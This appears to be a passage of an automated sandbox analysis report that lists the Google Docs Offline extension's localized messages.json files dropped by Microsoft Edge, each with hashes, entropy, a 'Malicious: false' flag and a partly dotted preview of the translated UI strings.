Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
